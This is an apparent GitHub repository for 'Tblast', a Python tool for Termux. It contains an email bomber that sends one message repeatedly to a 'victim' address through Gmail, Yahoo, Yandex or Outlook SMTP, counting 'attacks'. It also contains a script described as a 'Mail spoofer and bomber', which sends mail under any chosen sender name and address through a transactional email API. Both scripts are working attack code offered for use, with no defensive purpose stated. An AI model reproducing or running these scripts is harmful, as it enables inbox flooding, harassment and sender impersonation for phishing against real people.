├── .env
├── README.md
├── Tblast.py
└── emailspoofer.py
/.env:
--------------------------------------------------------------------------------
1 | YOUR_KEY="paste_your_api_key"
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Tblast
2 |
3 | 
4 | 
5 | 
6 | 
7 |
8 | 
9 | ## Termux setup
10 | ```
11 | git clone https://github.com/princekrvert/Tblast.git
12 | cd Tblast
13 | chomd +x Tblast.py
14 | ./Tblast.py
15 | ```
16 | ## One line cmd
17 | ```
18 | git clone https://github.com/princekrvert/Tblast.git;cd Tblast;chomd +x Tblast.py;python Tblast.py -h
19 | ```
20 |
21 | ### social media
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/Tblast.py:
--------------------------------------------------------------------------------
1 | #!/data/data/com.termux/files/usr/bin/python3
2 | #Prince kumar
3 | #Date 24 aug 2021
4 | #All import goes here
5 | import smtplib
6 | import sys
7 | import getpass
8 | import os
9 | #Make a banner....
10 | try:
11 | if(sys.platform == "linux"):
12 | os.system("clear")
13 | else:
14 | os.system('cls')
15 | except KeyboardInterrupt:
16 | print("\033[31;1m Exiting Tblast ✂️")
17 | sys.exit()
18 | #Make a function for help
19 | def help():
20 | print(" How to use this tool 🤔")
21 | print("\033[33;1m ")
22 | print(" Tblast -options eg: 👇")
23 | print(" Tbalst -h for help")
24 | print(" Tbalst -g for Gmail")
25 | print(" Tbalst -o for Yahoo mail")
26 | print(" Tbalst -y for Yendexmail")
27 | print(" Tbalst -ha for Hotmail")
28 | #Make a banner For this tool
29 | def banner():
30 | print('''\033[32;1m
31 | ,--.!,
32 | __/ -*-
33 | ,d08b. '|`
34 | 0088MM
35 | `9MMP' |\033[31;1m MADE BY PRINCE''')
36 | banner()
37 | #Create a class for the sending mail
38 | class s_mail:
39 | def __init__(self,S_mail,S_pass,rec):
40 | self.S_mail = S_mail
41 | self.S_pass = S_pass
42 | self.rec = rec
43 | def login_e(self,server,port,noa,msg):
44 | T_log = smtplib.SMTP(server,port)
45 | T_log.ehlo()
46 | T_log.starttls()
47 | T_log.ehlo()
48 | try:
49 | T_log.login(self.S_mail,self.S_pass)
50 | except:
51 | print("\033[31;1m Login failed 👿")
52 | for i in range(noa):
53 | T_log.sendmail(self.S_mail,self.rec,f"{msg}")
54 | print(f"\033[32;1m {i+1} Mail sent 📫")
55 | T_log.close()
56 |
57 | #Handel the user argument
58 | try:
59 | if(sys.argv[1] == "-h"):
60 | help()
61 | elif(sys.argv[1] == "-g"):
62 | sender = input("\033[36;1m Sender mail: ")
63 | passd = getpass.getpass("\033[36;1m Password: ")
64 | rec = input("\033[36;1m Victim mail: ")
65 | noa = int(input("\033[33;1m No of attack: "))
66 | mail = s_mail(sender,passd,rec)
67 | msg = input("\033[0;1m Massage: ")
68 | mail.login_e('smtp.gmail.com',587,noa,msg)
69 | elif(sys.argv[1] == "-o"):
70 | sender = input("\033[36;1m Sender mail: ")
71 | passd = getpass.getpass("\033[36;1m Password: ")
72 | rec = input("\033[36;1m Victim mail: ")
73 | noa = int(input("\033[33;1m No of attack: "))
74 | mail = s_mail(sender,passd,rec)
75 | msg = input("\033[0;1m Massage: ")
76 | mail.login_e('smtp.mail.yahoo.com',465,noa,msg)
77 | elif(sys.argv[1] == "-y"):
78 | sender = input("\033[36;1m Sender mail: ")
79 | passd = getpass.getpass("\033[36;1m Password: ")
80 | rec = input("\033[36;1m Victim mail: ")
81 | noa = int(input("\033[33;1m No of attack: "))
82 | mail = s_mail(sender,passd,rec)
83 | msg = input("\033[0;1m Massage: ")
84 | mail.login_e('smtp.yandex.com',465,noa,msg)
85 | elif(sys.argv[1] == "-hm"):
86 | sender = input("\033[36;1m Sender mail: ")
87 | passd = getpass.getpass("\033[36;1m Password: ")
88 | rec = input("\033[36;1m Victim mail: ")
89 | noa = int(input("\033[33;1m No of attack: "))
90 | mail = s_mail(sender,passd,rec)
91 | msg = input("\033[0;1m Massage: ")
92 | mail.login_e('smtp-mail.outlook.com',587,noa,msg)
93 | else:
94 | print("\033[39;1m This service is not available")
95 |
96 | except IndexError:
97 | help()
98 |
--------------------------------------------------------------------------------
/emailspoofer.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function
2 | import time
3 | import os
4 | from dotenv import load_dotenv, dotenv_values
5 | load_dotenv()
6 | import sib_api_v3_sdk
7 | from sib_api_v3_sdk.rest import ApiException
8 | from pprint import pprint
9 | import random
10 | # add the argparser to fully fuction the program...
11 | import argparse
12 | parser = argparse.ArgumentParser(description='Mail spoofer and bomber')
13 | parser.add_argument("-f","--file",help='Enter the file path if you want')
14 | parser.add_argument('-n',"--number",help="Enter the amout how may time you want to send the mail",default=1 )
15 | args = parser.parse_args()
16 | # note you need to import to the sib_api_v3_sdk to install this exeute the cmd pip install sib_api_v3_sdk or pip3 install sib_api_v3_sdk
17 |
18 | configuration = sib_api_v3_sdk.Configuration()
19 | configuration.api_key['api-key'] = os.getenv("YOUR_KEY")
20 |
21 | api_instance = sib_api_v3_sdk.TransactionalEmailsApi(sib_api_v3_sdk.ApiClient(configuration))
22 | s_mail =input("\033[33;1m Enter the subject: ")
23 | subject = s_mail
24 | # now ask for the actual msg
25 | # check if file name is empty
26 | if args.file:
27 | print("file name present")
28 | msg_mail = input("\033[31;1m Enter msg to send: ")
29 | html_content = msg_mail
30 | sender_name = input("\033[32;1m Enter the sender name: ")
31 | sender_email = input("\033[32;1m Enter the sender email: ")
32 | sender = {"name":sender_name,"email":sender_email}
33 | target_name = input("\033[32;1m Enter the target name: ")
34 | target_email = input("\033[31;1m Entet the target email: ")
35 |
36 | to = [{"email":target_email,"name":target_name}]
37 | cc = [{"email":"noreplay@pay.com","name":"pay"}]
38 | bcc = [{"name":"sala","email":"example@example.com"}]
39 | reply_to = {"email":"donotreply@domain.com","name":"do_not_reply"}
40 | headers = {"termux-yodha":"unique-id-1234"}
41 | params = {"parameter":"My param value","subject":subject}
42 | send_smtp_email = sib_api_v3_sdk.SendSmtpEmail(to=to, bcc=bcc, cc=cc, reply_to=reply_to, headers=headers, html_content=html_content, sender=sender, subject=subject)
43 |
44 | try:
45 | api_response = api_instance.send_transac_email(send_smtp_email)
46 | pprint(api_response)
47 | except ApiException as e:
48 | print("Exception when calling SMTPApi->send_transac_email: %s\n" % e)
49 |
--------------------------------------------------------------------------------